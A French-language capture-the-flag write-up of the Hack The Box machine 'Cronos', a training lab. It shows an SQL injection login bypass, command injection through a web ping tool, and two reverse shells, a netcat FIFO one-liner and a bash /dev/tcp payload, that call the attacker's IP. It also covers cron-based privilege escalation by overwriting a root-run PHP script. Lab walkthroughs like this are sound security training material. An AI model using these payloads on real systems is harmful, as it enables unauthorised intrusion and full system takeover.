Write-up : Hack The Box - Cronos
Write-up : Hack The Box - Cronos [MEDIUM]
- Nom : Cronos
- Plateforme : Hack The Box
- Difficulté Annoncée : Medium
- Objectif : Obtenir les flags
user.txt
etroot.txt
. - IP cible : 10.129.227.211
Introduction
Cette box Medium de Hack The Box nous invite à exploiter une application web vulnérable aux injections SQL et de commandes.
Phase 1 : Reconnaissance & Énumération
1. Scan des Ports (Nmap)
Commençons par identifier les services sur la machine cible avec un scan Nmap.
nmap -sC -sV 10.129.227.211
Le scan révèle trois ports ouverts :
- Port 22 (SSH) : OpenSSH 7.2p2 Ubuntu - Service SSH pour l’accès distant
- Port 53 (DNS) : ISC BIND 9.10.3-P4 - Service DNS, parfait pour l’énumération de sous-domaines
- Port 80 (HTTP) : Apache httpd 2.4.18 Ubuntu - Serveur web principal
Le service HTTP sera notre cible principale, et la présence du DNS suggère des sous-domaines à découvrir.
2. Exploration Web & Énumération de Sous-domaines
Le site principal ne révèle rien d’intéressant. Let’s go énumérer les sous-domaines avec gobuster :
gobuster vhost -u "cronos.htb" -w /usr/share/wfuzz/general/common.txt --append-domain
/etc/hosts
.Phase 2 : Exploitation - Injection SQL
Analyse du Panneau d’Administration
En visitant admin.cronos.htb
, nous découvrons une page de connexion classique. Après avoir examiné le code source sans succès, testons les vulnérabilités d’injection SQL les plus communes.
Bypass d’Authentification SQL
Tentons une injection SQL classique pour contourner l’authentification :
admin' -- -
Phase 3 : Exploitation - Injection de Commandes
Analyse du Dashboard
Le dashboard présente un outil “Net Tool v0.1” permettant d’exécuter des commandes comme traceroute et ping. On dirait qu’on va devoir injecter de la commande par ici !
Test d’Injection de Commandes
Testons l’injection de commandes en ajoutant des commandes supplémentaires après une adresse IP valide :
8.8.8.8; ls
La commande s’exécute avec succès ! Nous pouvons maintenant explorer le système :
8.8.8.8; cat /home/nolis/user.txt
/home/nolis/user.txt
.Phase 4 : Obtention d’un Shell Interactif
Configuration du Reverse Shell
Pour un meilleur contrôle de la machine, établissons un reverse shell. Utilisons un payload classique :
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.22 5555 >/tmp/f
nc -lnvp 5555
Et exécutons le payload via l’interface web. Nous obtenons un shell en tant qu’utilisateur www-data
.
Phase 5 : Élévation de Privilèges - Analyse du Système
Exploration des Privilèges et Processus
En tant que www-data
, nos privilèges sont limités. Le nom de la box “Cronos” suggère que l’élévation de privilèges implique les tâches cron.
C’est assez commun à HTB donc vérifions !
cat /etc/crontab
Découverte Cruciale - Tâche Cron Root
/var/www/laravel/artisan
en tant que root.Phase 6 : Exploitation de la Tâche Cron
Modification du Script Artisan
Remplaçons le contenu du script artisan
par un reverse shell qui se connectera à notre machine :
echo '<?php exec("bash -c '\''bash -i >& /dev/tcp/10.10.14.22/5556 0>&1'\''");' > /var/www/laravel/artisan
Configuration de l’Écoute
# Sur notre machine d'attaque
nc -lnvp 5556
Attente de l’Exécution Automatique
Patientons le temps que la tâche cron s’exécute automatiquement (toutes les minutes)….
Récupération du Flag Root
id
cat /root/root.txt
Conclusion
Cette box Cronos est pas mal et nous permet de voir :
- Énumération DNS
- Injection SQL
- Injection de commandes
- Reverse shell
- Analyse des crontabs
- Manipulation de fichiers
Box très accessible pour une “Medium”, parfaite pour comprendre l’importance de l’énumération complète et l’exploitation des cronjobs.